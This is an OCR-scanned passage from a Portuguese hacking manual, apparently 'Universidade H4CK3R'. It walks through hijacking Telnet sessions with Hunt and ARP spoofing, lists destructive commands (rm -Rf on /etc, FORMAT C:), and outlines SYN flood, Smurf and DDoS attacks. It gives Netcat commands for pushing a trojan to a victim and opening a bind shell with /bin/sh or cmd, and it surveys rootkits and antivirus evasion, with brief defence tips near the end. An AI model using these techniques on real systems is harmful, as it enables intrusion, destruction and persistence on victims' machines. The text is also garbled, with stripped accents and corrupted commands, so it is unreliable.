Unix. Uma sada dotar seu Windows de um ambiente Unix simulado como o
Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser preciso instalar tambm as bibliotecas pertinentes a cada um dos softwares dentro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual
PC completa, como o comercial e caro VMWare (www.vmware.com) ou o
livre e gratuito Bochs (bochs.sourceforge.net),
e rodar algum Unix para PC
(Linux, FreeBSD, Solaris) dentro dele.
12941
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Seqestro na prtica
(ou: como me tornei membro do AL QaedaJ
Anteriormente descrevemos uma sesso de sniffmg com o Hunt. Chegamos
ao ponto de verificar os comandos que A emitia para B e ver as respostas que
B enviava para A.Ainda no estvamos exatamente no meio da conversao simplesmente farejvamos o trfego ("p, passam por aqui berrando e no
querem que eu escute...").
Vamos refaz-Ia, desta vez capturando a sesso. Usaremos nossa rede de testes e as mesmas instalaes que usamos em nosso experimento anterior. Usaremos tambm a mesma sesso de Telnet que descrevemos.
Rapidamente relembrando o procedimento j visto, selecione a opo "o"
(options) e adicione uma conn policy, de acordo com os IPs das mquinas cujas
conexes queremos monitorar e, posteriormente, capturar. Digite "1"para ver
se h interfaces "vivas"que obedeam a essa regra (observe o prompt do Hunt).
Depois disso, digite "x" para voltar tela principal e "1"novamente para listar
as conexes existentes que estejam de acordo com as conn policies defmidas.
Selecione "w" (watch) para monitorar uma das conexes, e depois escolha a
conexo de nossa sesso telnet (lembre-se: estamos fazendo um telnet da mquina Windows para a Coitada). Logue-se por Telnet e emita alguns comandos.
Se tudo estiver certo, todos os dados em ambos os sentidos da conexo sero
ecoados no Hunt - que est rodando na estao Unix. At aqui era o que havamos feito.
Note que, se voc estiver em um ambiente de rede segmentado (por exemplo,
h um switch em sua LAN),voc ter de fazer um ARP Spoofmg para engan-Io
- caso contrrio, no conseguir ver as conexes que estejam em outro segmento. O prprio Hunt pode fazer isso. Selecione "d" (daemons) e "a" (arp spoof
+ arp relayer daemon), e configure os endereos IP de origem e destino pelos
quais voc quer fazer ARP Spoofmg (opo "a" - add host to host arp spoot).
Digite "s" para iniciar o daemon e espere alguns minutos. Dependendo do trfego de sua rede e das estaes em questo, pode demorar de um a 20 minutos
para que o switch passe a distribuir pacotes indiscriminadamente.
Com ou sem switch, voc est pronto para seu primeiro seqestro. Volte ao
menu principal e escolha a opo "a" (arp/simple hijack). Ser perguntado
qual das conexes deseja capturar. Selecione a conexo de nosso telnet e responda s perguntas sobre conexo e apresentao dos dados.A tela de captura
, em um primeiro momento, idntica tela de observao (watch). O comportamento tambm o mesmo, por enquanto: tudo o que o usurio da mquina
Windows fizer ser ecoado para o Hunt antes de ser enviado "Coitada", o
mesmo ocorrendo com a resposta de "Coitada" para Windows.
Isso ocorrer indefrnidamente, at que o Hacker deseje capturar a conexo.
Para tal, basta pressionar ControI+C. Na tela, aparecer a mensagem:
- press
any key>
1295
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
README
>
Xresources
ls
Xsetup
aliases.sh
chooser
tmp
coitada [/home/usuario]
>
Ou seja, o usurio tem wna realimentao do que digitou, e nenhuma mensagem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na
verdade, fomecida pelo Hunt. Ele inclui o carter $ para dar uma impresso de
prompt do shell - lie and deceive...
2961
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Com controle sobre "Coitada", o hacker pode tentar o que quiser: colocar um
backdoor, apagar tudo, fazer download de documentos e arquivos importantes
(inclusive o arquivo de senhas), usar a mquina como trampolim para outro ataque (mais uma maneira de spoofing...), tentar ganhar acesso irrestrito, etc, etc, etc.
muito importante observar que usamos um servidor Unux como exemplo, mas o
procedimento o mesmo para qualquer plataforma. Poderamos tranqilamente
ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um
servidorWmdows 2000 com ns e Telnet habilitado (ou FIP ou HTTP ou POP...).
Quando cansar de brincar, o invasor pressiona Control+] para sair.Ele ter, ainda,
a opo de derrubar a conexo (e o usurio na mquina Wmdows receber uma
falsa mensagem de problemas com a rede) ou ressincroniz-la.O Hunt inteligente
nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da mquina
Windows e da prpria mquina Unix, na qual est o programa. Dessa forma, o Hunt
sabe quantos pacotes Wmdows tem de enviar para o "limbo" antes de permitir sua
reconexo mquina Coitada.Por exemplo, se o Hunt enviou 45 pacotes TCP para
a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root: power failure - try to type 45 characters
ser mostrada na tela de Windows. Assim que o usurio digitar a 45a tecla, os
nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode continuar normalmente - e, na maioria dos casos, o usurio em questo sequer
perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no
significa todas, e um usurio que conhea o comportamento do Hunt facilmente identificar a falcatrua e avisar a autoridade competente.
Tarefa para. casa: tente fazer exatamente o mesmo com o Dsniff (leia a documentao!). Voc ver que, por no ser uma ferramenta integrada como o
Hunt, mas um conjunto de pequenas ferramentas de uso especfico, ter de
usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo
Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ataque com um shell script que faa uso delas.
12971
1
Invaso
I Universidade
H4CK3R I
1298
Universidade 3ano
Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendigando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou
invasores que conseguiram acesso limitado podem tentar destruir o sistema
com comandos nocivos. H diversas maneiras de fazer isso.
~ Apagamento ou destruio: um usurio com uma conta em um servidor
Solaris poderia tentar um rm -Rf. em um diretrio sensvel - o letc, por exemplo. Caso o ambiente seja Windows, nada mais fcil que um FORMATC: ou um
DEi *.*IS/Q.
~ Consumo de recursos: mesmo usurios com acesso muito restrito devem poder rodar programas no sistema - como trabalharo sem eles? Isso
posto, possvel criar programas especialmente talhados para aumentar em
progresso geomtrica o consumo de recursos da mquina - seja por mltiplos acessos a disco, inundao das interfaces de rede com trfego esprio,
multiplicao indeftnida de processos ou mesmo gravao ininterrupta de
dados em arquivos at preencher todo o espao disponvel.
~ Vulnerabllidades locais: um buffer overflow, se bem-feito, pode levar a
acesso irrestrito ou execuo de comandos arbitrrios no sistema vulnervel.
Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o programa for vital para o sistema (como partes expostas do kernel em um Windows
N1) ou oferecer um servio aos usurios externos (como o X-Window ou o
Sendmail em um Unix), o estrago ser maior. Caso o lixo jogado na pilha seja
em quantidade realmente grande, possvel que o sistema todo caia.
~ Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um
administrador de rede insatisfeito com seu salrio) podem fazer diversas
"malvadezas" como reconftgurar servios ou matar processos importantes, alm
de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus.
H diversas ferramentas na Internet que se prestam a esse papel, e mesmo
script-kiddies com um pouco mais de tutano podem criar ferramentas simples
para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo
DADOS.BATe, dentro dele, coloque:
@ ECHO OFF
12991
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade H4CK3R I
Universidade 3ano
truidor. Vamos nos ater mais teoria sobre DoS e indicar algumas ferramentas
para levar tais ataques a bom termo. Mas como , de longe, a modalidade de
ataque mais popular, documentada e comentada da Internet, deixaremos ao
leitor a tarefa de buscar mais informaes a respeito.
H dois "subtipos" de ataques DoS remotos. Alguns deles atacam
vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que
resultaram na queda de nove dos 13 roteadores-raiz da Internet (todos nos
EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura
exaurir todos os recursos do alvo - seja ocupao de banda da rede, multiplicao descontrolada de processos no servidor HTTP ou inundao de mensagens de e-mail - possivelmente acompanhadas de vrus potencializadores do
ataque, como o Klez e o BugBear. O famoso e ancio Ping of Death - tipo de
ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigantescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa
dos pacotes e ao mesmo tempo consumia banda.
Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano
WinNuke. O programa aproveitava uma falha existente no Windows 95 e no
Windows NT 3.51: caso a porta 139 - nossa velha conhecida
do
compartilhamento de arquivos em redes Microsoft - recebesse pacotes no
vlidos em lugar do protocolo 5MB, o sistema operacional travava. H verses atuais do WinNuke que exploram outras vulnerabilidades - uma vez
que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com
exausto de recursos.
Para saber mais sobre esse tipo de ferramentas, procure por DoS ou
malformed packet dos attack em seu mecanismo de busca. Inmeras ferramentas para esse e outros tipos de ataque podem ser encontradas em
packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk.
J recaindo no segundo tipo, o tipo mais comum de ataque o SYN Flood ou
inundao de pacotes TCP SYN.Lembra-se de nossa primeira tentativa de spoofing?
Enfivamos um SYNcom IP de origem diferente do nosso. Naquela situao, no
conseguamos estabelecer uma conexo spoofada por dois motivos:
1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia
responder-nos;
2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e
acabava com nossa conexo - e com nossa alegria...
No caso de um DoS por SYNFlood, de que nos importa se seremos respondidos ou no? O que vale enviarmos tantos TCP SYN Spoofados quanto possvel, para que a mquina-alvo se ocupe de respond-Ios e no tenha tempo de
responder a outras requisies de outras pessoas. Lembre-se: a vtima vai enviar um SYN-ACKe esperar por ACKs que nunca viro. Isso acabar por impossibilitar a vtima de responder a qualquer outro pedido de conexo ou mesmo
atender a conexes j existentes.
1301 I
1
Invaso
I Universidade
H4CK3R I
Obviamente h outros mtodos para DoS alm do SYN Flood. Um outro mtodo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) disparados tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no responder ao IP de origem, mas ao IP falso. Uma extrapolao do DoS utilizando
ICMP o famoso Smurf: dispara-se ICMP Echo Request para um grande nmero de mquinas, mas colocando como endereo IP de origem o IP da vtima (e
no um falso). O resultado um grande nmero de mquinas refletindo ao
mesmo tempo uma multido de pacotes ICMP em direo vtima, que sai do
ar praticamente no mesmo instante.
~~,
~
IPx.x.x.2
~-t~~-~
~~
~
..
IP da ltima
'Socorro!
~
3021
Ataque, defesa e contra-ataque:
Invaso r
Universidade 3ano
Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais
sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas
de brute force? Alguns sistemas, para evitar justamente serem invadidos por
brute force, limitam o nmero de logins permitidos (o nmero varia, mas a
quantidade usual trs). Bem, um programa de brute force pode ser usado,
ento, para bloquear sistematicamente todas as contas do sistema, impedindo
que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o
que toma a operao extremamente rpida e eficaz.
Pode-se tambm multiplicar conexes a um servio especfico at que todos
os recursos do servidor em questo sejam consumidos - seja na forma de processos abertos, seja por meio de esgotamento de banda. Por exemplo, se queremos derrubar um computador cujo servidor de Telnet esteja ligado, basta rodarmos um script como este em nossa mquina Unix:
while [1=1]
do
I 303 I
1
Invaso
I Universidade
H4CK3R
Universidade 3ano
Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser
sofisticado com a distribuio de diversos mestres, controlados tambm
distncia pelo invasor. Ele pode tanto usar ferramentas especiais para tal, j
existentes, como tambm usar coisas do sistema operacional como o Netcat
ou o Telnet.
"Salvem-me!"
1305
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
Agora, uma pitada a mais de maldade: cada um dos agentes pode usar lentes
Smurf ou Fraggle para multiplicar sua fora. Um ataque com essa configurao devastador!
13061
Ataque, defesae contra-ataque: Invaso [
Unive.rsidade 3ano
Defesa e contra-ataque
Bem, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o
bsico do bsico sobre ataques a computadores e redes. Ustamos aqui, portanto, algumas dicas sobre o que procurar e por onde comear para segurar seus
sistemas e evitar que sejam atacados com essas tcnicas.
Recomendaes aplicveis a todos os tipos de ataques
O mais importante! Deixe ativados apenas os servios que est realmente
usando. Se o servidor apenas de HTTP e FTp, desabilite Finger, Telnet, SSH,
SMTP,POp, IMAP,Quake...
Configure corretamente seu fIrewall, e tenha sempre mais de um tipo, pelo
menos um diferente para cada lado da DMZ. Prefira f1ltros de pacote por estado de conexo (Stateful Packet Filters) e fIrewalls do tipo Proxy. Mesmo com
os servios desabilitados nos servidores, feche as portas correspondentes no
13071
1
Invaso
I Universidade
H4CK3R I
Estouro de pilha
No h muito o que dizer alm do bvio: se voc programador, sua obrigao escrever cdigo imune a buffer overflow. Mesmo sendo inerente s linguagens de programao, possvel implementar rotinas de verificao que
barram injeo maliciosa de dados.
Se voc administrador de sistemas ou mesmo usurio domstico, mantenha
seu sistema sempre atualizado com os ltimos "remendos" publicados pelos
fabricantes de seu software. E no se concentre apenas nos servidores: as estaes tambm so vulnerveis e portas de entrada para sua rede.
13081
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine
quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma
senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da
freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga
os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo
menos a cada 15 dias.
O mtodo mais eficiente para barrar o brote force limitando o nmero de logins
e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria
um problema de DoS, mas ainda melhor que ter seus dados comprometidos.
Evite o roubo de senhas a todo custo, e dificulte ao mximo a vida do cracker que
porventura consegu-Io. Vale desabilitar os 1M Hashes no Windows NT/2k, criar um
servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar
Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e
mesmo criptografar os sistemas de arquivos.
As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem
como campanhas de consientizao dos usurios para os males das senhas fracas e
do comportamento de risco - senhas no devem ser escritas em lugar algum, muito
menos divulgadaso NUNCA!
Por fim, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do
usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?)
um ponto-chave para evitar que os usurios coloquem em risco toda a rede por
colocar o nome do cachorro como senha pessoal.
War Driving
Criptografe sua rede e ative o WEP.Ponto fmal.
1309 I
]Ataque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
Negao de Servio
IDSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o
prprio IDS, o que bem possvel e mesmo provvel.
As defesas contra IP Spoofing, ARP Spoofing e MAC Flooding tambm ajudam aqui. Tabelas MAC estticas em switches idem.
1310 I
Ataque.defesa e contra-ataque: Invaso
Universidade 3ano
Sistemas com a ltima atualizao liberada pela fabricante so menos expostos a DoS baseados em vulnerabilidades conhecidas. Alguns sistemas possuem
patches que os tomam inclusive imunes a ataques do tipo SYN Flood e Smurf.
Se possvel, compre mais velocidade para sua conexo e tenha sempre rotas
alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao
de trfego (Traffic Shape) tambm desejvel.
Para o DDoS, uma nica recomendao, alm das anteriores: mantenha os
zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os
computadores procura de portas suspeitas ou programas no-autorizados.
Uma ltima dica: Echolot (echolot.sourceforge.net).
I 311 I
Ataque, defesa e contra-ataque:
Invaso
Ataque, defesa e
contra-ataque:
Manutenco
.
Captulo
"Now /'m coming through the backdoor
How did / get here /00 / mind
/n an eerie sort ofway
/ sense you reaching...
Wil!you linger a little longer
While / wonder'
TadpoLe,
"Backdoor"
i. -Entro livremente
por sua porta de trs I Mas como
cheguei a ela? I At me importo I mas desprezo voc I
Eu o sinto me alcanar ... I Voc ficar por ai um pouco
mais?
I Eu
fico
aqui-.
Do single
Backdoor.
de
i999.
I Universidade
H4CK3R I
Ganhar acesso a um sistema qualquer - seja ele um web site, uma rede, um
computador Macintosh ou um servidor Novell - no bolinho. Em todos os
captulos preparatrios e especialmente no anterior, vimos alguns mtodos de
como preparar o terreno e ganhar acesso aos nosso alvos. No todos, no muitos, sequer os mais importantes: a fIm de ilustrar os passos a serem seguidos,
vimos apenas um ou outro exemplo.
No tome este livro, portanto, como uma enciclopdia de ataques. Em vez
disso, use-o como cartilha para aprender o b-a-b, e v pesquisando e estudando nos recursos indicados em todos os captulos. Leituras adicionais so
muito importantes. A srie Hackers Exposed (McClure, Scambray e Kurtz,
editora Makron, za edio em portugus e 4a em ingls), composta de quatro
livros - Hackers Exposed, HE Windows 2k edition, HE Linux edition e HE
Web edition - uma excelente companheira para nossa pequena obra e enfoc
o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da
coisa, a srie HE oferece um verdadeiro "dicionrio" de ataques. Mas no descuide do Bugtraq!!!
Uma vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu
acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que,
por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos,
ento, da manuteno de nossa permanncia no seio da vtima por longos anos.
Backdoors
Toda casa possui uma porta de trs (ok, ok, alguns apartamentos mais populares [apertamentos???] possuem apenas uma passagem para acesso ao imvel - e
passa pela sala de estar. Fazer o qu...). Pela porta de trs trazemos a feira, os
empregados da casa tm acesso ao interior para trabalhar, os operrios trazem
ferramentas e material para reformar o banheiro e samos com o cachorro para
passear. , portanto, apropriadamente chamada de porta de servio.
Por outro lado, pela porta da frente recebemos nossas visitas. Se for um imvel comercial, por ela tambm que recebemos nossos clientes. A decorao,
os objetos e o prprio espao so diferentes nos ambientes atendidos pelas
duas portas. Portanto, apropriado dizer que ambas as portas possuem funes diferentes, e, portanto, prestam-se a atividades diversas.
Em um sistema computacional, muitas vezes necessrio tambm possuir
vrias formas de acesso. O ambiente operacional que os usurios comuns conhecem desenvolvido de modo a tornar a utilizao do sistema mais fcil e
direta. Por outro lado, devem haver formas de os administradores acessarem os
sistemas tambm e, assim, desempenhar suas tarefas, muitas vezes at simultaneamente, sem incomodar o usurio.
3141
Ataque, defesa e contra-ataque:
Manuteno
Universidade 3 ano
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R I
C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em poucos dias backdoors to ou mais completos e complexos que o B02K. NetBus,
Sub7,AlienToy... A lista vasta. Mesmo programas de administrao srios (em
tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere
ou o VNC podem ser usados "para o mal".
$
O comando cat jogou o contedo do arquivo Buttix na tela do terminal. Da
mesma forma, o comando nc pode jogar, de um lado a outro da conexo (ou
seja, no necessariamente
na tela), o que uma determinada porta de um computador distante est cuspindo na rede.
A sintaxe mais simples nc ip.do.computador.monitorado
porta.
Por exemplo, o comando
C:\> NC 192.168.1.11 80
1
Ataque, defesa e contra-ataque:
Manuteno I
Universidade 3 ano
-p
80
Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A
opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de
testes, coloque o comando acima para rodar na mquina Windows. Na mquina Unix, use o comando aterior (nc 192.168.1.1
80). Experimente digitar na
mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada
padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da
outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas.
Imagine que voc quer transferir um arquivo do seu computador para o
computador invadido (um B02K, por exemplo). Nada mais simples. O nome
do arquivo server.exe e o endereo IP do computador alvo 192.168.1.1. No
computador da vtima, use o comando
De
-1 -p 9999
>
server.exe
No do hacker, experimente
De 192.168.1.1 9999
<
server.exe
]Ataque,
defesa e contra-ataque:
1317 I
Manuteno
I Universidade
H4CK3R I
da vtima:
9999
> server.
exe
A mquina do hacker fica esperando conexes. Quando uma acontece, ele envia o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela
originou a conexo e comea a receber dados, que so gravados em server.exe.
Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat
pode ser, ele prprio, um backdoor! A opo -e redireciona tudo o que for
recebido para um comando externo! fcil perceber que, redirecionando para
cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell,
que ter os privilgios do usurio, em que o nc foi executado. O comando
completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou, para
sistemas
Windows:
NC -1 -p 9999 -e emd.eom
Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio
compilar o cdigo novamente com a opo GAPING_SECURITY
_HOLE (o nome
j diz tudo...) ou baixar um executvel
j preparado
para tal netcat.sourceforge.net
uma grande pedida.
H diversos outros usos para o Netcat, como, por exemplo, redirecionamento
de conexes. til para furar flfewalls ou para criar um encadeamento (daisy
chain ou tunneling mode) entre vrios computadores na Internet para fins de
spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos
usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma
linha e com rotas alternativas so aparatos comuns de hackers experientes!
Outro uso muito interessante do Netcat como portscanner improvisado. Esses
e muitos outros destinos podem ser encontrados no excelente white paper de Tom
Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.org/
practical/gseclTom Armstrong GSEC.pdf - em ingls). Uma alternativa de respeito ao Netcat o CryptCat (www.farm9.com/content/Free Tools/CryptCat).
um done perfeito do Netcat, com a mesma funcionalidade e sintaxe. Mas possui
um diferencial interessante: toda a comunicao criptografada. Mesmo que a
conexo seja descoberta, nunca sabero o que se passa nela.
O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em
Windows tambm) mais usada como auxiliar por invasores em sistemas alheios. Por ser minscula, facilmente instalada em sistemas que no a possuem.
Mas o Netcat no o nico meio de improvisar backdoors. Fique atento a
quaisquer programas que possam dar acesso a sistemas de arquivos. O
interpretador PerI um deles: com poucas linhas de cdigo possvel montar
um servidor como o Netcat em modo -1e enviar arquivos por ele, por exemplo.
1318
Universidade
3 ano
]Ataque,
defesa
e contra-ataque:
Manuteno
I Universidade
H4CK3R I
so do virus vai aparecer durante a comunicao, e o comando netstat vai revelar apenas uma simples conexo Internet de seu prprio browser. Agora
responda: que fIrewall vai barrar comunicaes H1TP ou SMTP originadas no
lado de dentro de sua rede?
O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo,
como pegaria vrus novos"? A resposta simples: um programa desses detecta
apenas vrus conhecidos. Um simples editor hexadecimal pode alterar detalhes do vrus e torn-Io, novamente, indetectado por um tempo. At que as
empresas que ganham dinheiro com esse tipo de pnico corram para atualizar
seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago
est feito. Numa estimativa muito tosca, os autores consideram que mais de
90% dos vrus que efetivamente esto solta pelo mundo no so detectados
por nenhum dos programas antivrus existentes no mercado.
Por exemplo, uma das maneiras j bem antigas de confundir um antivrus
comprimir o arquivo executvel do mesmo e adicionar um stub (pequeno programa no incio do arquivo compactado) que o descomprima na hora da execuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses passarem inclumes pelo corredor polons imposto pelas rotinas dos antivrus.
J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas
camadas de desafIos comprimidos e criptografados, com diversos stubs diferentes e chaves de criptografta distribudas pelo arquivo. Cada vez que executado, o antivrus replica-se e se autocriptografa novamente com outras chaves cujos pedaos sero gravados em locais diferentes dentro do arquivo.
Um antivirus, para conseguir simplesmente ler o contedo executvel do
vrus, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves
criptogrftcas embaralhadas no meio dos dados do arquivo e ainda saber quais
tipos de compresso foram usados em cada camada (sim, possvel usar tipos
diferentes de compresso). O que nos leva ao problema principal: depois de
encontrado um vrus desse tipo, sero necessrios vrios dias ou mesmo semanas para quebr-Io. Isso, bvio, ocorrer apenas se o antivrus conseguir determinar se aquilo um vrus, coisa muito difcil de acontecer.
Para mais informaes sobre essas tcnicas de ofuscamento, pesquise na Internet
sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico
detentor dessa tecnologia; embora seja baseada em outras mais antigas que j
esto rodando por a faz muito tempo. uma simples questo de vontade. Quando "cair a fIcha" dos crackers produtores de vrus para a tcnica, a computao
como a conhecemos hoje entrar em colapso.
Universidade 3 ano
1321I
]Ataque,
defesa e contra-ataque:
Manuteno
I Universidade
H4CK3R
Manuteno
Universidade 3 ano
A lista muito mais vasta do que a que mostramos. No caberia aqui elencar
todos os tipos e todos os programas que podem ser alterados por rootkits.
Como sugesto, em Unix pesquise sobre lkr5, utrojan, backdoored sendmail,
tOrnkit, rkssh, APSR, bdoor, wOOwOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit,
rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros.
Esse tipo de rootkit (substituio
de programas e utilitrios do sistema)
mais comum em ambientes Unix do que em Windows, embora haja tambm
inmeras ferramentas para o sistema da Microsoft. Para comear, procure por
ads_cat, FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for
NT, Slanret, Krei, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite Injector,
null.sys, HE4Root (ou HE4Hook) e IIS injection.
Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure
por informaes em www.packetstormsecurity.nl
, no www.securityfocus.com,
no www.windowsecurity.com,
no site oficial da Microsoft (www.micro
soft.com) e, principalmente,
no Google ;-).
There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors
comuns. Um Back Orifice ou um Netcat escutando em uma porta podem ser
facilmente descobertos com um simples netstat. Mas se o netstat estiver
rootldtted, a coisa muda de figura - a informao sobre as portas abertas do
backdoor estariam cobertas. O mesmo ocorre com os processos: um
EXPLORER.EXE modificado ainda assim aparece apenas como Windows
Explorer no Gerenciador de Tarefas.
Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funcionalidade de programas ordinrios do sistema operacional podem ser detectados por caractersticas no bvias, mas, mesmo assim, aparentes. O programa
alterado pode ter sua data de criao diferente das demais. Mesmo que seja
igual, o tamanho pode ser diferente do original, verificado em outras mquinas.
Se o tamanho for igual, seguramente sua estrutura interna no o , e pode ser
comparado byte a byte com a de um sistema so.
Outra alternativa verificar o checksum dos arquivos que compem o programa. Sistemas Unix normalmente utilizam-se de uma assinatura MD5 para
garantir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota
um procedimento semelhante, baseado em esteganografia aplicada ao logotipo
do Windows. Em qualquer dos casos, se a assinatura no bater com a original, o
programa seguramente est adulterado e precisa ser apagado ou substitudo.
Administradores realmente paranicos (e eles no esto errados, longe disso!) instalam controladores de inventrio com verificadores de integridade de
arquivos (como por exemplo, o Tripwire ou o AIDE) em todos os seus computadores (inclusive estaes de trabalho). Qualquer arquivo que seja alterado
por um rootkit ser detectado na prxima verificao e uma mensagem de
1323 I
I
Manuteno
I Universidade
H4CK3R I
Manuteno
Universidade 3 ano
Manuteno
I Universidade
H4CK3R
Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja
ele HTTP,SMTP,Finger ou mesmo um backdoor embutido no kernel - precisa
de sockets para se conectar. Como vimos, um socket , grosso modo, um trio
IP/Porta/Protocolo. Portanto, para me conectar a um servio qualquer (um
servidor SSH,por exemplo), tenho de criar uma conexo entre o meu cliente
SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu
improvisei um servidor com Netcat "escutando" na porta 9999, preciso me
conectar a essa porta (e manter a conexo) para interagir com ele.
Isso quer dizer que mesmo em sistemas comprometidos por rootkits possvel descobrir falcatruas desse tipo. Basta rodar um sniffer como o Ethereal em
outro computador da rede (a estao de trabalho do administrador, por exemplo) e todas as conexes esprias podem ser detectadas, certo?
Detesto dizer isso, mas novamente a resposta no. H pelo menos uma maneiras conhecida3 de esconder o trfego e no precisar de conexo para trocar pacotes, que combina sniffing e spoofing com a manipulao da pilha TCP/IP.
Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes
e computadores. Coloca-semuita f em ambos os dispositivos e, num comportamento normal em sereshumanos, relaxa-senos demais aspectos de segurana. No estamos
dizendo que sejam despesas inteis, pelo contrrio: ftrewalls e antiv1fUsmantm
longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies.Mas
entre centenas de milhares de kiddies h de haver um hacker de verdade.
Na verdade, nenhum ftrewall - seja ele por software ou personificado em um
hardware dedicado
caso um hacker desses apresente-se para o confronto com sua rede ou seus
servidores. Pense um pouco: seu ftrewall tem de, obrigatoriamente, deixar passar
os protocolos e servios que os usurios usam. Se os seus usurios so autorizados a usar programas de Instant Messenger (ICQ, por exemplo), as portas do
ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios
usam a World Wide Web, trfego HTTP sainte pela porta 80 e entrante por portas altas deve, tambm, ser liberado.
S no cenrio acima, vemos que as portas 25 e 80 sempre estaro l, abertas para
quem quiser usar.Inclusive para o hacker que, usando todos os truques que vimos
em Vulnerabilidades e nestes captulos finais,pode pesquisar toda a sua rede interna e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz
comumente em crculos crackers, "a porta 80 sempre estar l"... E o que o carssimo ftrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes
que passarem por ele, para futura anlise - se muito.
3. Lembre-se: h mais tcnicas em poder de cls hacker e mantidas em segredo do que as maneiras
divulgadas de se fazer a coisa. Espere e fique atento para novidades na rea em breve!
3261
Ataque, defesae contra-ataque: Manuteno[
Universidade 3 ano
II
Barramento
da Rede
trojanizado e cheio de
rootkits, as conexes:
.
T C P esta b e 1eCl d as ( e
mesmo trocas de pacotes UDp, que no usam
conexes,
mas, sim,
usam sockets) podem
ser monitoradas por outras mquinas. Mas e se
no houver conexo?
P~rtas
naousadas
